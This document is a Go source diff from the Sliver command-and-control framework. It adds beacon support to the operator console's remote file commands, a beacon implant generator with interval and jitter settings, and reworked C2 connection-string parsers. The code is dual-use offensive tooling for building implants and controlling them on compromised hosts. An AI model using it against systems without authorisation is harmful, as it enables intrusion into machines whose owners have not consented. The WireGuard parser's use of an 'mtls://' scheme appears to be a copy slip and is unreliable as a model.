sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].Size > ls.Files[j].Size
|
||||
})
|
||||
} else {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].Size < ls.Files[j].Size
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
if filter != "" {
|
||||
fileMatch, err := filepath.Match(filter, fileInfo.Name)
|
||||
|
||||
if err != nil {
|
||||
/*
|
||||
This should not happen because we checked the filter
|
||||
before reaching out to the implant.
|
||||
*/
|
||||
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
|
||||
break
|
||||
}
|
||||
|
||||
if !fileMatch {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
modTime := time.Unix(fileInfo.ModTime, 0)
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
@@ -22,15 +22,17 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MkdirCmd - Make a remote directory
|
||||
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -42,12 +44,33 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if mkdir.Response != nil && mkdir.Response.Async {
|
||||
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, mkdir)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMkdir(mkdir, con)
|
||||
})
|
||||
con.PrintAsyncResponse(mkdir.Response)
|
||||
} else {
|
||||
con.PrintInfof("%s\n", mkdir.Path)
|
||||
PrintMkdir(mkdir, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMkdir - Print make directory
|
||||
func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
|
||||
if mkdir.Response != nil && mkdir.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mkdir.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", mkdir.Path)
|
||||
}
|
||||
@@ -22,24 +22,46 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PwdCmd - Print the remote working directory
|
||||
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if pwd.Response != nil && pwd.Response.Async {
|
||||
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, pwd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintPwd(pwd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(pwd.Response)
|
||||
} else {
|
||||
con.PrintInfof("%s\n", pwd.Path)
|
||||
PrintPwd(pwd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintPwd - Print the remote working directory
|
||||
func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
|
||||
if pwd.Response != nil && pwd.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", pwd.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", pwd.Path)
|
||||
}
|
||||
@@ -22,15 +22,17 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// RmCmd - Remove a directory from the remote file system
|
||||
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -42,14 +44,35 @@ func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if rm.Response != nil && rm.Response.Async {
|
||||
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, rm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintRm(rm, con)
|
||||
})
|
||||
con.PrintAsyncResponse(rm.Response)
|
||||
} else {
|
||||
con.PrintInfof("%s\n", rm.Path)
|
||||
PrintRm(rm, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintRm - Print the rm response
|
||||
func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
|
||||
if rm.Response != nil && rm.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", rm.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", rm.Path)
|
||||
}
|
||||
@@ -26,21 +26,24 @@ import (
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// UploadCmd - Upload a file to the remote system
|
||||
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
localPath := ctx.Args.String("local-path")
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
isIOC := ctx.Flags.Bool("ioc")
|
||||
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("Missing parameter, see `help upload`\n")
|
||||
@@ -66,16 +69,38 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
|
||||
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
IsIOC: isIOC,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if upload.Response != nil && upload.Response.Async {
|
||||
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, upload)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintUpload(upload, con)
|
||||
})
|
||||
con.PrintAsyncResponse(upload.Response)
|
||||
} else {
|
||||
con.PrintInfof("Wrote file to %s\n", upload.Path)
|
||||
PrintUpload(upload, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintUpload - Print the result of the upload command
|
||||
func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
|
||||
if upload.Response != nil && upload.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", upload.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Wrote file to %s\n", upload.Path)
|
||||
}
|
||||
@@ -1,16 +1,15 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CanariesCmd - Display canaries from the database and their status
|
||||
@@ -21,56 +20,45 @@ func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if 0 < len(canaries.Canaries) {
|
||||
displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
} else {
|
||||
con.PrintInfof("No canaries in database\n")
|
||||
}
|
||||
}
|
||||
|
||||
func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Sliver Name")),
|
||||
strings.Repeat("=", len("Domain")),
|
||||
strings.Repeat("=", len("Triggered")),
|
||||
strings.Repeat("=", len("First Trigger")),
|
||||
strings.Repeat("=", len("Latest Trigger")),
|
||||
)
|
||||
|
||||
lineColors := []string{}
|
||||
// PrintCanaries - Print the canaries tracked by the server
|
||||
func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Sliver Name",
|
||||
"Domain",
|
||||
"Triggered",
|
||||
"First Trigger",
|
||||
"Latest Trigger",
|
||||
})
|
||||
for _, canary := range canaries {
|
||||
if burnedOnly && !canary.Triggered {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
canary.ImplantName,
|
||||
canary.Domain,
|
||||
fmt.Sprintf("%v", canary.Triggered),
|
||||
canary.FirstTriggered,
|
||||
canary.LatestTrigger,
|
||||
)
|
||||
lineColor := console.Normal
|
||||
if canary.Triggered {
|
||||
lineColors = append(lineColors, console.Bold+console.Red)
|
||||
} else {
|
||||
lineColors = append(lineColors, console.Normal)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
for index, line := range strings.Split(outputBuf.String(), "\n") {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
// We need to account for the two rows of column headers
|
||||
if 0 < len(line) && 2 <= index {
|
||||
lineColor := lineColors[index-2]
|
||||
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
|
||||
} else {
|
||||
con.Printf("%s\n", line)
|
||||
lineColor = console.Bold + console.Red
|
||||
}
|
||||
firstTrigger := "Never"
|
||||
latestTrigger := "Never"
|
||||
if canary.Triggered {
|
||||
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
|
||||
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
|
||||
}
|
||||
row := table.Row{
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
|
||||
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
|
||||
firstTrigger,
|
||||
latestTrigger,
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
minBeaconInterval = 5 * time.Second
|
||||
ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval)
|
||||
)
|
||||
|
||||
// GenerateBeaconCmd - The main command used to generate implant binaries
|
||||
func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(ctx, con, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
}
|
||||
|
||||
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
|
||||
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
|
||||
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
|
||||
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
|
||||
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
|
||||
if interval < minBeaconInterval {
|
||||
return ErrBeaconIntervalTooShort
|
||||
}
|
||||
config.BeaconInterval = int64(interval)
|
||||
config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
|
||||
return nil
|
||||
}
|
||||
+251
-120
@@ -30,6 +30,7 @@ import (
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"time"
|
||||
@@ -61,12 +62,16 @@ const (
|
||||
|
||||
// DefaultReconnect is the default reconnect time
|
||||
DefaultReconnect = 60
|
||||
// DefaultPoll is the default poll interval
|
||||
DefaultPoll = 1
|
||||
// DefaultPollTimeout is the default poll timeout
|
||||
DefaultPollTimeout = 360 // 6 minutes
|
||||
// DefaultMaxErrors is the default max reconnection errors before giving up
|
||||
DefaultMaxErrors = 1000
|
||||
)
|
||||
|
||||
const (
|
||||
crossCompilerInfoURL = "https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants"
|
||||
)
|
||||
|
||||
var (
|
||||
// SupportedCompilerTargets - Supported compiler targets
|
||||
SupportedCompilerTargets = map[string]bool{
|
||||
@@ -77,31 +82,6 @@ var (
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
|
||||
// validFormats = []string{
|
||||
// "bash",
|
||||
// "c",
|
||||
// "csharp",
|
||||
// "dw",
|
||||
// "dword",
|
||||
// "hex",
|
||||
// "java",
|
||||
// "js_be",
|
||||
// "js_le",
|
||||
// "num",
|
||||
// "perl",
|
||||
// "pl",
|
||||
// "powershell",
|
||||
// "ps1",
|
||||
// "py",
|
||||
// "python",
|
||||
// "raw",
|
||||
// "rb",
|
||||
// "ruby",
|
||||
// "sh",
|
||||
// "vbapplication",
|
||||
// "vbscript",
|
||||
// }
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
@@ -117,11 +97,21 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
compile(config, save, con)
|
||||
}
|
||||
|
||||
func expandPath(path string) string {
|
||||
// unless path starts with ~
|
||||
if len(path) == 0 || path[0] != 126 {
|
||||
return path
|
||||
}
|
||||
|
||||
return filepath.Join(os.Getenv("HOME"), path[1:])
|
||||
}
|
||||
|
||||
func saveLocation(save, DefaultName string) (string, error) {
|
||||
var saveTo string
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
save = expandPath(save)
|
||||
fi, err := os.Stat(save)
|
||||
if os.IsNotExist(err) {
|
||||
log.Printf("%s does not exist\n", save)
|
||||
@@ -188,22 +178,46 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
|
||||
mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
|
||||
wgC2 := parseWGc2(ctx.Flags.String("wg"))
|
||||
wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, wgC2...)
|
||||
|
||||
httpC2 := parseHTTPc2(ctx.Flags.String("http"))
|
||||
httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, httpC2...)
|
||||
|
||||
dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
|
||||
dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, dnsC2...)
|
||||
|
||||
namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
|
||||
tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
var symbolObfuscation bool
|
||||
@@ -230,7 +244,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
}
|
||||
|
||||
reconnectInterval := ctx.Flags.Int("reconnect")
|
||||
pollInterval := ctx.Flags.Int("poll")
|
||||
pollTimeout := ctx.Flags.Int("poll-timeout")
|
||||
maxConnectionErrors := ctx.Flags.Int("max-errors")
|
||||
|
||||
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
|
||||
@@ -263,14 +277,18 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
}
|
||||
|
||||
targetOS := strings.ToLower(ctx.Flags.String("os"))
|
||||
arch := strings.ToLower(ctx.Flags.String("arch"))
|
||||
targetOS, arch = getTargets(targetOS, arch, con)
|
||||
if targetOS == "" || arch == "" {
|
||||
targetArch := strings.ToLower(ctx.Flags.String("arch"))
|
||||
targetOS, targetArch = getTargets(targetOS, targetArch, con)
|
||||
if targetOS == "" || targetArch == "" {
|
||||
return nil
|
||||
}
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
return nil
|
||||
}
|
||||
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
// Check to see if we can *probably* build the target binary
|
||||
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -287,7 +305,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: arch,
|
||||
GOARCH: targetArch,
|
||||
Name: name,
|
||||
Debug: ctx.Flags.Bool("debug"),
|
||||
Evasion: ctx.Flags.Bool("evasion"),
|
||||
@@ -299,8 +317,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
|
||||
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
|
||||
|
||||
ReconnectInterval: uint32(reconnectInterval),
|
||||
PollInterval: uint32(pollInterval),
|
||||
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
|
||||
PollTimeout: int64(pollTimeout) * int64(time.Second),
|
||||
MaxConnectionErrors: uint32(maxConnectionErrors),
|
||||
|
||||
LimitDomainJoined: limitDomainJoined,
|
||||
@@ -340,11 +358,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
|
||||
|
||||
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
|
||||
if _, ok := SupportedCompilerTargets[target]; !ok {
|
||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
|
||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
|
||||
console.Bold, target, console.Normal,
|
||||
)
|
||||
con.Printf("⚠️ Default implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Compile a Default build?"}
|
||||
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
@@ -355,49 +373,75 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
|
||||
return targetOS, targetArch
|
||||
}
|
||||
|
||||
func parseMTLSc2(args string) []*clientpb.ImplantC2 {
|
||||
// ParseMTLSc2 - Parse mtls connection string arg
|
||||
func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
uri := url.URL{Scheme: "mtls"}
|
||||
uri.Host = arg
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultMTLSLPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseWGc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
uri := url.URL{Scheme: "wg"}
|
||||
uri.Host = arg
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "mtls://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultWGLPort)
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func parseHTTPc2(args string) []*clientpb.ImplantC2 {
|
||||
// ParseWGc2 - Parse wg connect string arg
|
||||
func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "mtls://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
// ParseHTTPc2 - Parse HTTP connection string arg
|
||||
func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
@@ -406,14 +450,12 @@ func parseHTTPc2(args string) []*clientpb.ImplantC2 {
|
||||
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
log.Printf("Failed to parse C2 URL %s", err)
|
||||
continue
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
|
||||
if err != nil {
|
||||
log.Printf("Failed to parse C2 URL %s", err)
|
||||
continue
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
@@ -421,79 +463,109 @@ func parseHTTPc2(args string) []*clientpb.ImplantC2 {
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func parseDNSc2(args string) []*clientpb.ImplantC2 {
|
||||
// ParseDNSc2 - Parse DNS connection string arg
|
||||
func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
uri := url.URL{Scheme: "dns"}
|
||||
if len(arg) < 1 {
|
||||
continue
|
||||
}
|
||||
// Make sure we have the FQDN
|
||||
if !strings.HasSuffix(arg, ".") {
|
||||
arg += "."
|
||||
}
|
||||
arg = strings.TrimPrefix(arg, ".")
|
||||
|
||||
uri.Host = arg
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
uri, err := url.Parse("namedpipe://" + arg)
|
||||
if len(arg) < 1 {
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
return c2s
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "dns://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
